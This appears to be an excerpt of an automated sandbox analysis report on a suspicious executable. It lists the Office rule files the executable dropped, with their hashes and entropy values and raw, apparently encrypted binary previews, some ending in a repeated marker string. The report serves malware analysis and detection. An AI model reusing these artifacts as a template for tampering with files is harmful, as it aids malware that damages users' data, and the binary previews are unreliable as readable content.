Preview:	.<?.'!...S..7..W.>.....c..........)....Q...2Z)..^.i.Y........m).dhG0..=...s.Y..T..p`T"B....Hp...F...J.(5U..h!...oO:........6.Yx.N..h.H`HuUI............^?....e^.bun]ZG.P.X.... ..z......>/.........>....s.P.@. .5.$.~xH.`;nE<...R.T....kQ....^.3'.=6pg.x....\|..X..6.D......QP..9................%=.j.............l.YB....t.z.cC..}Ls............:.&..U.l"..wkY..r"v.8...q.\itA....r.......~...8..4R,.y..1....=Z...d+..."......s...]..Zmx.`.EB!\...T..g}<..&:.M.n...@......?....FMV_.n].3\....`...DG....G..l...n....&..Y..W.u...Y....t+_.>.....X.Z....-..t......z\|1Rj...}0v...#..{..lEx.I...[i.VY..3...a.....e.W.=.H.....=..2..T.3!SH...EbB..o........j....!p}.l;L."LE9n{M.(.{.j..Px...Z.=\|.;...@..Z.q.l...(.E..Kd.3x.\.E.[....$.B.......:......Z0......`..,...+.&...fqmM.>1.O.(..(a..~.$.G....CBj.....F.T.?........w..U.....8.Z......V....n.?...........;H.*}=8..}<^...n?.....w?Y.T..j..1}/.!.e.-.X.n......>x..D....4.Z.4.9.........g..^Ia...>d.{!t.e.-#0P=...}.m=.qLZ.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.804047631463644
Encrypted:	false
SSDEEP:	24:6me0FxAJLRaaohEBexUi4FjVwU7G2dZ5sh7gzO9spgooRG+mvlv0wsbD:HegINkEBkUrVexAWJunog+g9bmD
MD5:	3E0405E5EBE36BC740D4EF1533BC7540
SHA1:	0F75AED0DE102AAE6FAA816BC21199356610E37B
SHA-256:	84F6F3F4B3101E51E6E9B92CD420E69B255E3FB0D438D3AF0DFC90ABED1428D9
SHA-512:	93E931FBEA3FF7F941C2B8072AE72A22A1A1FAFBC8316066E5F25AAEA7E2DD48B82F632AEAE6D79832E3C82BA24AE92E81EFB8BFBF8D74B08941470FFE7EE771
Malicious:	false
Preview:	.<?uQ...$M.`..F.Lg.&D.....m.%.......E....#Q..:.o.Q....ia........\i..=..`..`..f.e...-!T\|r]9F.?P..NMg\|.[..v.&..b..x..V(..p..........6..<.m..z..^........6V...c......yzLKK..............,r.H.`#.w.{.!V...........AG..=..&4Z.z.....r#2..G..+.!.Q..n.g..R2....t....q)..{..pk.....t..H.yi..;.K....O.>.J.8wR.p..).6.\.kWY.w.ly.-e....zH....u..K.........Z.........[\.w.3..w........E..E%.a..!.D..{.W...Z .J..=.bN..&.od.....s....s'....<...b..+T.4...(....~.u)..s....r......).u..D..I.y......z.\p_0O...~.s.OT.;L"N....,.8.P8...y3laJ....\|...=z&.. 2d.../I..!......I....+..V*.s..XU{....$E....h......g.#,%....J.........O.B.=....u..#@...mk.....k....>...w..s..(....Q.......$.LG...y..9"...%.yXc\|......eK..V..\|-...v<...W.$.S.)........aE.D8.8..M.$A.?..........R...M...G...:.IG.......J.\|..%.u..a.....".....r_.[.#...`.%.....V.%...C1.].N65.qo.{...h..{....Q-.3..].hx.:B.gIR....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.955099952870146
Encrypted:	false
SSDEEP:	96:7n7L8BVlBnR8p31Ce2gB0uZ44GaPBgCXxsyiwaWI3IJfn:j8/fnOL2gBvBgCNxbI4JP
MD5:	7D4F65475C28A0AB4DE2D2DBAC991CDC
SHA1:	DB8E67387D87889355B2D9B90AA3B5090A6496EE
SHA-256:	18985F8408304976E7E09D870318346E82FE6D41BD30DED48979FE71332EFE0D
SHA-512:	DF5FB8A9A5A01994DF287A4A6DB6C19080A4961B0E5D69C50E02078F1F83936642C2B9A0ABAFFD542455D9AC73C2CEC84831C72596FCB82EE5BC45B9FA877EAA
Malicious:	false
Preview:	<?xml..i...K...jdC1.0tM.@.E...`..8"Y.]4b.".(%..........X..u.P,..../...l........U...OW.y.../.g.f,._).LRQ....].>............p.....D.Z._y.. M...G..?/.......W...R<....."/....W....yTGf..B......k..Q\|..,o........t...p.6.E......M9.ezw....[.......w.X......" ..;...0.n.3.H.Ti...o...4......?.H....Z.W>...b.8v+q.a.z.aW=.(..e+`...j...`.s7..&N3O....}...t...[n.dcJ.E....E.. .x#.D.....n...n.(...e..A.?U.n.i&F .)P.b.v.{b.~i..ssh.E\|d.A^.V..7[...T..=,jX".<n{. )Z..Q.V.0k..`...8o..=,..........{..7.g{.p..2...\|..'.!..>?)..g).G..-..}aA.W....3......H.rPn...b...d4\NK..)..(...#.Ki.n_..."...'..........9..b.8}_T#wn..r.......g~.P.......F.y'...:H4!L..5._..)a.9.m.....F...s..0.s..9.D...z7I..ib5..IHD5.Ns&.iC .N..\|...S%/v...t..._q.....S.#U.24.......A...^.t\|'-....A.}B^....bB?..............!....tW.q..5$.....E..$....-..V_.y.B.. ....A...LLF}.7..k$.....+....x...Q.."...P.^Y...#..q. .+n..W...#...a2D..^JS...]......x...u2...u..bw..po.q.K..e.....h........-..&..y...e..,:3`q.._..).}".}......a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.927674434626659
Encrypted:	false
SSDEEP:	48:dzty/TiwgyBFk+0PWhF7bZMRj8GOIyQvxa+3KdVtvDX9GWw0XDwdyJ8YD:RgLueFk+0uXRyOIyYB6d3vzD1Oyb
MD5:	F9B9F5513CD795532CDE8581257A6405
SHA1:	CCE2EDD264A0EF10F5BB7B7C499678CAAA053701
SHA-256:	4CACDD801DE8E78CC987E02A0F6467F2311655F109ADEDC6533298B11317363A
SHA-512:	825A13178F591AC7F8FB79E8011E6E50FE6FF76B5F853B3F5E947820173EA5E75608D675930BF8F67E7D65BD6A850D1571468C147D0CE1E526CE077520F0BD82
Malicious:	false
Preview:	<?xml......e_<...A.F..C...!F.<...2./(]p.'.>P..B.......a..(..=0c6.EaZ...)G........ya.U..P..YGD"..f.". [.A....;A.!~..+k........"....em.{.,..\|wh...X.......#4..z{08.........S......Q.?...t.+...J.b........".{..\|....4........F......8H/...Wz.s.r.L...".7.GA....tpp&...MV.7......;.@...C.7....D.1...K:P.....Sm.1..!..>H.....!.iLq. E%3....%<.q0#.5ZR.....e.;0..9.O..rd...f$l.?,.....2.....L.}!..X.....f..O$....[ag.;').K..#..{s...J....y.n..Q...x7gMSXT...+.52..r...]..cn5^..q....#I:Y..o.]E.f.R.{U&^...'.....a>....~~3..S...4...v...l.oO.S.:.....&.f...n!...(2.g.N..(-L.raz..aG9i.#....x14.\|.us.w.@..L....5{~.a...7........eek.0..........9.U...P6B.p.....it3..Fg(....U6.90)..8p.5.....HD.N{.g..=...9TD.g.A...rbR......@.....F!!..N.49H..rE....2....\|....V.0.....[>.N.L.4..W...0c.]L.@.v....2x......5...tl....r.LT>..(j.U7...kT.....ZV..]..?......E.....&..@cr.(P....%.#FY....lsw./.R..+..<.;R.C...H....{}.\|V.n....}....../...>.NHR..%.......)E.......+..biG5.g.U*...U\.P.g..a..-...6.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.9508650247217005
Encrypted:	false
SSDEEP:	96:o2s/izmfXeEmwPRncJ1YUuRNFnARujbVGjYqs:o2s6zmsUeJ1YUuRpXL
MD5:	427AE6FF9973FE9980BA2BD380A34262
SHA1:	65F80BA7F1975347CC7C7FAA5284521251B7B9F2
SHA-256:	3B7383A26555E6E9BB39DB70B4675E8A84DF9007AB1D6282FE9FF20D671C671B
SHA-512:	FB7D0E669CDC666477B236DF8BA39B123A8A01BAE6F720B54BCA3E47A4E900A5491149A6A0EFC5D85C6EF969A6C46569FED702C30DCE15D24173BCDB2E554C14
Malicious:	false
Preview:	.<?...g@.:Y.t1u2.e[.Eq..HMv........?r# ..{.^..Ld.....?..T....W^.d.D..Nm.z.S.59.p,..-.[.D.t...r....4...v]......XS.Fq<n.E.. .r....C...o<"n.\.O.<_}1....q..X..kPdyZc..u[.X.e....?......Tr..-......+)6!.<...i.F.RBo...s.4.?j\|I..X,.m.q...>..r...E.y.s.......5].w.~..^....\|FL..Lg.2 g[;.n...K2%"z=F..1.....M2Q.}.=......y..N.{...pM<..9_.^.=+.UL.y.../+.+..].2r..d.....8Y.s..nB...X.......V.q.....]>....-.".f.{..i.._.yJf....Mj..J..T%i..s..Lj..o...8.+h..E...C.?.Zh..._u...O.b...S....M.E[.8.d.,...].~........Bb.7.?....Z....8..a.]:e.....d.Q.o...J..[J}...W.a....D.T....R?m..u..u..r./Oy`...&.Bc......8..%..o.C.m.?.faNs..{....M.l?S..Q....}h.L_..JwP.7X.L.\|.I....z.I...n....^...X..m..(...M.........b.cb....4w.M]a..VJ..-S......\;....F..g..D...jb.n..B!n..[.#BwlxuN;w.....tR..r..;u..._FaS.L._F..P.@X:.<...>...]...03f......O?F......@.b..Fl-.9..I..)v'._...9.d...y...U...!....2)......M..j&!.H...C.]....0_4.m;.V\.u$......3../.C.Do."g...3v....._.&..W.b.P.!_m.P.f&..R7....J.=..e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.947992741501645
Encrypted:	false
SSDEEP:	96:GYGwryRjDa/2pJeKFCFDIWZCbrMv/cv+lN:UwryRCOpcKFCFH/cv+b
MD5:	77BC79530856C78815FDD53449039CB8
SHA1:	FBD80FFC65A793AC93DC4E839F5E9499C9A7E73A
SHA-256:	31AD2951FB4E49ABD16980E9765A4A36129753A3BEFAFBDBF7D45EA6F037D5CC
SHA-512:	A7C940C2834842D061ECD0AB73E1E73EA1DE7F96D3CF08793836DE490BC92E2E0CE5E09A757EA2C2B6EF7ED8D4F1498629B53B65F607633992B53D6EB9BA2182
Malicious:	false
Preview:	.<?+.....B.....xU....e..z.1=.....0_.@..>.WI......#.a..T..>...._~...!..(Y..H.b....l..CH.k.K...7..I.<....`....s.i.A..2XQ..j6+I....&..A.R......;Y$fi.>..D.B.T....W....E...P..QU........!....9...Y..S50.&..<...._<E.~Kbn...$......M....K.W.@\|$....ANu.}m...r....v/jA..{...p.v..$....:........87....f3....}....!^..l..a.z.Md.=C93..%.T.6.....%...>Q.@@.v.\.t..............pm.B.:0\|..rd......i.QT......_.$...h\|.;.uA.bD.^[.".@...+.V.. .<..zE......0s.....(.(.>B.i.\..v~..5..................V...q>x{z..C.t......,<.^..N..e.....D~.....%qP.:_.........lV5>.4$l.u...o..$...z]o-.{.`i..6G..J.}P.Gs.F..:H....p...p/OFSM..5..f.].!l....+..$.l.RM.Q..}....^...\|:.)[^:..tX.r{.8..h...z.J...T..eY)..q..f........u..........5eH}s.>/sj..d.o...qF()..... &....5..W..t... .:.w.....k..(. ..JA.R...1fq6wb..A4i.......\|.y.......9<=..>....Ey..G.Iaz!.....\|.]q.....%. mH....:M.'....b..N.g.w..H..Z.5sSh=9....9.t...O.......6J9M.....<j.:+.!._b.."%..jW"..).I.K.5.'..\.+..P...../k...V..r..R..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.947127685989512
Encrypted:	false
SSDEEP:	96:Pf5wUN6UF3XU/7Vjz/X0yEc+Td/cAVq5Bsm+e:PhwQ6UFnI7VcJ1Vq53+e
MD5:	63C0D488EFB4A074C2FB02B443BA2B28
SHA1:	96981F93A13AE74A22376087834E6EE40091AA89
SHA-256:	F756D74E7ACD3D7C949F97410F518F27426F3F8EE8CDF17D27E7A9B44B8EBFF2
SHA-512:	346EA4D57345E0BB28382D1D5D9E4B4CCE19FDFA403FA47E0A7262E606BC306A291F43BBD3C3AF34EE5BCEFBFFA703EED4FA8560CE287B43A93E29E0707080E5
Malicious:	false
Preview:	.<?U......I..R..o..?....p..Q.>....'._.Q.3.... ...S..!..".I.......9R....n+.V,J._r.D..L_..#G.=;....t......J.Ku..3\|.Y.z...v.0.c4.&S=}-..h.....%...uHjwI.+..'..+=.%].K../....SM6..".t.m.T....L....zx.[..T.UHFA%$%ft.}.........~..H..Y,...&_.z?..^.4.L..4Z.7`X6n...0...@........,g..93.b......;.%.U.O.<.[.._.....U.....R......`../.{.#..x..D..^s..J..J.C."..66.X..9xX..Q5?..7\...P.;....v.p.{.i5$M.Y)..3\|..pz....!x.>.\......L.w.....s..........;.......@gV.-......(z.X.../...O\| A.......d..d.\$c.$....\F..$.........&.....w.'M..?.d......<.,{...Q.....TX../...p.Bek.2Ov0H2...!.+.m@'6{J/...\|Q9..Z/.j.....K{x.F.eO.VLQ.O@....h..C... .)....6$..}.R.kw..M2,CG..O.g.c.Y...K....1..L.....q.bE....3..]..%!....zp.H......_...\...HJ..6.s.....l,)/.-7Dhu..w.d.]t..O.0X.i.l.....;...L.E..zs)r;....c$...]W..eO.5o..0..Q:Y42a.v[Y..<.~.O.e...-@.Y....m=J..:......d..`.2KK......."60..XS.......^~1L@........S..1..{K..B..3._....S..2. .l....97.<}..F..;..Z...$rb>i......&\.....DE ........PJ.@...-.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.921289029416973
Encrypted:	false
SSDEEP:	48:HzOpX0hrNr5BgpI63JhmtD9WE9R7YRGVYTPWUeLRP873hysX8/mCMJAOgTycZ5Qr:TOpk5pHgpI63JhmqQYRg6WzP89bX8/x2
MD5:	900F8F1FC299F5B43FF67484E4BC0659
SHA1:	77A509A003B9E1E77EA55335B983E2F346912D35
SHA-256:	5A9033B93E2C3939957A3B91BA75A4998094923D6327C3D98657A5ACB1798292
SHA-512:	5B4F5DE73E7A2B322D26A835CC7EEE6D272D6E4C823EAB317499BEEBEE3306ECBBC2CB508586981A315ACC00AE6D5564D0DBE827B6C4307E47A6B0D0A952B087
Malicious:	false
Preview:	.<?...I....N.".:.......}...,...{g.{.9._u... \ ..<......F.'3U......\7.%F.Iv...qS......y..$..F....._......R=BZ........6............2.....c]zB .$....o7.........y..i...Q..5s!..O.Rg.....U..@)Cp.g+.(.a..{..*^c.T_........5"...>rd'.L.s.2[q.3ts......z....\............43]}N.:\.F!..........'.q.8q..ZF....w.\|Iu...-..\..A2r...7.@...Ss.H.i.?.p..u.z..^..v..X=.V......;.......v.;....`.a.F..[2}.h(...q......`<..NH.......v.D3.}.d..>...b..5@u..E..6.0<.M]...)X......X5~k#....b.5.8+.".Y.#..9......<.M..F#.xVw...%?.....P.Y.`.....p}..$l.W'..a..O.Z.&...=a..=.E`z.u.trg.+......~.im...}a`...<q..bu.(\|..^....i..H....h....D..F4'a[....Xb......:}d.Ju...RUn..!.y...A.>....:u....k.J'^...u.5..P..........u..!.Y..N.2..z.3.[a..s..i.f..!....f~...CBy.M....6..O.s,...ojT.1....E.lX....f.{......7..#'"X..5..@..>.48n.yb0U.U5r..Ec.}.C.'.3p.r...Q5.BW..V2.7._.A.P.{....M/...iN...0...$..&....fZN..:Z.G...;r\..1WTn.....p..._.[..._.`x..............W.(@{..V...J.\.......=5..x.HM.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.924782999821191
Encrypted:	false
SSDEEP:	48:P2IGfVH+1U76425NnnMwqQbvOadJCT6KokHqjygXwTibYQea52NAD:PGfVHd7f25W8HdPKnWi+z5Ac
MD5:	6B8C2D18B459ED858770B0240E8080A3
SHA1:	1D75607E8B968A350A7892A1912275E681ED175B
SHA-256:	16C6F419556A9B99AA8C0DBFDC92F4E5E0B6CF88A08C9548F36F8D2D3BB26BCA
SHA-512:	97F1D1A6A68D6634071CBCF936AA890B21BF6404A05EC00B106780074F2B5DB395CD4C295BF19BACF69E7FB0E78BA141C8C306663422C46D83B72F23FF4524A0
Malicious:	false
Preview:	.<?Qj&..H.n#..[t.9..;.L....#..n..q.0..5....`.._.9{M....y.Z.(\|............<+.rm...7.x....1_e...uA. .6.T...L........{...,Q2..=P.....F..V%..1d.~.v._(......O.}.qL9...,'[M../\.h.....J......z.1...S3.Dr0b.........l....o.ys.h5.q...>X.W.#..,,..1....:>8~R.c.".......Y&b=......v"&w3qN.^.l....5..x....W.......9.........:.....A./...&..!............3.nU...vj..P...i....?.m..`...\|p$X..}.&6...{..2.).q..`.R^....o:......V.4....z..,YO3....b.\.y.%..e.F!.6A..!a.c..,L.w13.+.,PR...WO...\,C..x.y....qZ..w.Bs..V.L.f.Jw.]V...Y.H....H.......7.5q..,C.a..A..&.<...$Qk.;D...D..d:/.~.....RQ...Pcj..#.BS.....P>.....J.a_..M\IM.}..1.E..m!..X.t.L...N....y.!h..t.f..l......7...$P.".].HJ...T......{...I..J.E.....O.k..M[..8N.z..\.....#.6y<.k....i.=4.e..r!GP$.eH.......xp.......brg~H..Z..(......D.%.b.Z..-~..SM.tn...op.Z..HP.S%x.A......P..lL.6*.....9\|...s"...\N.......$.L.jp...U..&.1.~.R'P[\|6Q..@..S.pl....M..i..b...@..y#..j.=.=...t+.v..8%.....\g:_......9E...p..DSv..o.1nTKIO.5...#F...m"}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.545298964502258
Encrypted:	false
SSDEEP:	12:CYyOgonwH5D/IXQGEr/XPqTA1BkYocgPVFLznsim581+cii9a:byponwH5L7/fp0YocgPzLDs953bD
MD5:	2184CDE4B274218F5710FED86AE78533
SHA1:	66F08F9E18C3DD62C19BDD2D23E8DF8166D9E297
SHA-256:	DEB3F97A88DBDE50ED26C7167C9E7FF90E24E869BEA6059215AB4532193CBA85
SHA-512:	54966BFA4E64D4299DF1B372C4C7A0378C1A7D773F2B850BFDFC75A943F98E092BC1C275700C771F3048D347169BC03C420B81F2604D412E3DE50ED90362B217
Malicious:	false
Preview:	.<?...}..p........M.h.9...f/.......[B..^.v.H.....M.0s.^.4...A..2.-.........(.`.......e@.....l...X]]M(......(0#.h.../f...H[..;xny.I.`.\.....)..Y5B.......*G/.,............hvE..-)=j).pI.a7.....a..(.a...b....`..y..x..V\|..s...8$..3'4o....8....j...}\|.....:.."..".p}/.h.&7jO\|1.2y..z}Cx...#...I.m...8..gI.7.$d:.}..-n..7..T......l:...By.../...r..T.w......2.G+.!......%Hq.).xp..I..k.?.._..b....-.Dd.e....O...F\....\..d..Q.y.3....{.b..T:;.2nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.930949864826677
Encrypted:	false
SSDEEP:	48:FLKVw8NC1Fv9fZyEcTq9m09fFrN7VnYjicJfDVl2MyK+/IqMDpHXrXD:aw8NClZ1nJ7VnY+cDVDxWIqMF3rT
MD5:	31C704C8670A468F4F55ED0F5E46BAB4
SHA1:	85F0DE16253420EF5EDBB08154DA8E272FB00CBC
SHA-256:	114ED7A74E88777414C1BB117B9D4E5698937AAD3C219360FF905DF2045E7BA6
SHA-512:	B3DE22FE784D7D0B1AB69F59BA4FFD4AE34F5E66EDF1D55CF6C074E2C9216A0716B3F866234FFACC6895A4C97641CE64BA465A24A27FD4CE454AFE383903F40D
Malicious:	false
Preview:	.<?.y..R6..Vo..>a.n........F.....uO(.:.9.W.W8S........G@Z....:.I...0..M....M.........l........x..S.....N+..f.:C...]8in..[......".".[.J.J......{.K........P.}....#...}w&....'...m./..T..nG..(..#.kW...Y.......C.m.h.c....h..=..n%H.=7..TLs..F....8...N4...8c..;...%8.8y..xh.U..M.{$[....>.!..&.(.....R..m.A..n"....J...,..I....o+\..\|..."..Y...g.zi.b.E%.&.1....u..B.(..fJ.Za.WM.H\|[\..N].%....?.y..om.6..cN..V..@L...:%......YON6...U].W....."RA.+...>....Q.)]...#.w..^.2.Q......\|c/B@.._......v...t`w..aC(.B'P.r.....F\..P.}..q..]...`......Y.W..^V\..&??.p.E..R;.#>...DR..%.........9.......3;.b..Ea.p..T...Zq.....L..rZh..%S...j..B...U.1UC.~(..s]..).{..d...e..r..h....@=..u..s.5.'..th6&NI..,..j....u.(.3a.`........@.0.[vs...4.@.....G....l~....:ST.bs...i..6.8%...6oQ.5...or....P.)..$6d............qJ4.....x6n...J.....Z...../\|$#\|.T...>K..m.S.>..M;QS.@S...Us...H...&...1....n&..\|.......i....DAX=.u......]1I(....}...E.........p.q,mU..ibO....\|...E.... ...\I.h.fx.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.692389476078348
Encrypted:	false
SSDEEP:	12:HFzTga6oNIDh8jINy7TEzt8Dvw6v4vq484lOHGbMnthW/wHRQ5uFbb1+cii9a:cQue0ST5v94ZlOEM0oxnbobD
MD5:	D825D6A9CE1856D0EA10C887F040C263
SHA1:	F0A9A2A14BA135A7A0C3363E62DFE72AEB42AABC
SHA-256:	72054966CBB482E7E4C40B415B24D5E87A488D7D0FF242C1A2650D2CEE8E216D
SHA-512:	429CB3933757BC1197453718D2B9C2ABBCDE503035A8EEAC5A0D4DBC9CE4C997FAD0FD9C1D2D77C44B2A59253A1C6FF3D0B21F055AF694013B9767C098730336
Malicious:	false
Preview:	.<?..R~[...iC@.y(.3F.U".\7i...........6.t..8..C.PR.A.Y8...l5+<....tS1...hY..9k.....nP.o.s.W...=6....@...lq.<.k........`...i..2..h........}$....q&>~....,...Z...d.Z'gd.....k...M.l>.4.#..yj...~.I.......e.a...}Pf..'b.....q.....M7.A3....2....8..u)[... }I..... .(......0......9.y.........4s..\|R..D/K..C7b.....J6..qO.t...p....P.O_X.Op.zcp...1.F.)vm.g.....F!t.b.?...`...\.........L3M....$&.@...).(W_c.v..s.q..`.."m......9<.y6\k.S..S..I\fQ......ph\G..-..C.o<.. .\|........;............c........I.S.&.-.Z.q......<F.C_....3r}/....[...h.R...._....OV.l...<.....!...a....OUM.z.&....f[x.l...dV..,.P..e....%8..!t.._......ZIv...tY.......3.$.^..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.731579280788957
Encrypted:	false
SSDEEP:	24:oCR2fnTxUOrY9sPpl1Qo06Q4K5ImBAht/DHjbD:o1PT9QsPuaQH+ht/DH3D
MD5:	3CB32EC1AE8E2FB6997E5E2AC0EA38D6
SHA1:	FD109FB674EE137B65E558C309A110CE5D27988F
SHA-256:	82EF9D731961973608FF2713957B942866E2D32E075666B2348ED9C1EA207509
SHA-512:	39FF25A6F478EA40F105C177A8FE887065D6CC9E646B108521D1860922B01630181A56B3B134D4732D0BA6EC7B900935BE13B1FEC992078E692BE883B965FE7F
Malicious:	false
Preview:	.<?..Qy.0.....H^[N..u&0$..5R?.Z...TWoU...QU...O.7..G.....R.N..9nM...R.@;1....@.+..E...m.=m..'.s.'.6G~..[&.....4..T...\|RI....a...,9.....t@!......;.CR..:.....3L.Z...f3.....d.b.e.?...!...........^;j...~.c..o.......dd..'.Z...li.Tiy.....t.Ta1..../..4...h.6...unu:O....WB.\|...w.2..Y3..#Z.0&..$v...J.fj.._....8....\d.#.......jN.....sZ.@..<o...^}tX.0..SN...u....J..x..!..b..T..N.B...':.....'"...~s.....{sl...`;.G.,jI...8#..`..u....&.~^+..Q.r#..)...d.51"T.~......,...8 ....aP.HT.....L....X.*Q....w..+...._./.G..yRs..)....[..~I...?Z. .......0..`......`......'qfQ.....3.8...u..jF3V..+..1+..?'.L..@;-......?tl./.0.d..sD...N?C4..R...Y(.0.~8k.........}j..m..K...8HV+H.6.i....7....'.l......K..N?.....sGSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7483917851386686
Encrypted:	false
SSDEEP:	12:Ij5fL5Y1iUUNY2pXSY7oD4KWYMKzTqXpwzuUn0NM9om6qZsVLSHWRlx3f1+cii9a:Ij5fL5Y1iBNY25SY7oD4aYxk/omIBSYY
MD5:	4DC626BD7A2E68640686A58D2C7AD0A3
SHA1:	B041A8116825ABD6A837136FCB4B6C3E11EE35F5
SHA-256:	7F7449468E8040F827F87CDC63D4089E456E626050E6FD7AEB94CEEF5D63A286
SHA-512:	D1D2B61FF70EF8550C11E3243B83325D03D5A899CDB8EB112BA5C9292C2637F7B7263A8F017A94ED3D7D0D4D4B323BED0CAA3ED7938FC28A8CA853B1ABEB59C7
Malicious:	false
Preview:	.<?.M}i.7v...!..P'.^....w.[9....h8..8..{.[.U.-..!.W..I.......j.....*Z..L.r..?........,R...o..n...+...l...i....J.y.N.k...M]...}.K....D.M....4...@4%U.p?`..r..c.Q.P]w..). .>.5.<M!=.kf+....Ov....&?j;.&.1...5B..~.C....5+ne.4UNV.m.....JV.KfT.....G.u.8...wh...C..}.M...s..v........7....:.Z.[..n.i.....'........U...<.....+0..X?2P.r..>....].....R}./G._..r"..&.)...l...&;........,v...+..l..r.._....`0.a....'Iw(..j......Sl.R.1.B}mz .8@....C+1...~.8......<.%..P_.#.....u.....AA...C:m....xb..>... ..}gP.R..z..._...:.a.e.'l..~.cP_.z....,...>.Y8..q..9M2!.....3.....4..{B.....\...U.....L....IUt....ai."].s...'93.gu.....v..U.......Q.%f.....@.A`2.z..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.708009782254271
Encrypted:	false
SSDEEP:	12:VTW67VkF/W+sf2jusbj/ZTgdEq+cy9KLuGBoSmaYxjkFvWxUh2Jwdio5L1+cii9a:VChhljZTgyqm9KLuA6xYWxiWC5YbD
MD5:	5BE90B3B5599D60565BF6884693380D3
SHA1:	A304A4FFF7D5F4B26DB864CC81C67313386C04AD
SHA-256:	A3751EA90082C7E19BBF67E520D2DCB83015885C025BCC4D4713567034228E36
SHA-512:	BD21B530F41460D35AEB1D2A2F3D38526643C10600A3095D65EB06E0084801DBA263C049466A7509A600F0063C74DABB9984E86C1D0061B5C013E6317F07F854
Malicious:	false
Preview:	.<?.\|N..Zv.....A.O=./.L.....,.f.X.......l.kb.o.0...W\|.d...L.bj.m.'b..t..m..=t.r.s..1.$....c.....S......#...?Kru.....@..j 0.co@ACy.b......Z=.p...mL.v8...E$....!UR[..qY...ji...Y...9.d&:.#..U....GH.Dg.V.!......PE..c..g.e_.......K#`.k^R.........h....M.]..R&.\|{k1..`.B.i...L.hW..%.q...v..^...6..9wp.u....U....]...ADe5..#......s.wz.h..e-j.s$.x.E........q[...;G..\J..2.q{.lE#..!.Y..g.\|..[.j.\..s.U..i......_Pov....?.......<....\0i`[~ulPl..U..!.....q.8.G.B-^.B..^E.Q9_..5..F......N?...r....#........2..7.)2.2.@ouj.1m.Hf.T2{.....*..L..[.....F._.:.D.t...,a...H.V/4M.5.....M.T.=i.h..L....K.~...=.#.CD0.....>..\P`.f[q......3..}.....<..gZdj.....k<T.9.l.K....Q$..q8..-9K..H...@..........t...{}.L.~!OA.C.{0.I.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.790109894184294
Encrypted:	false
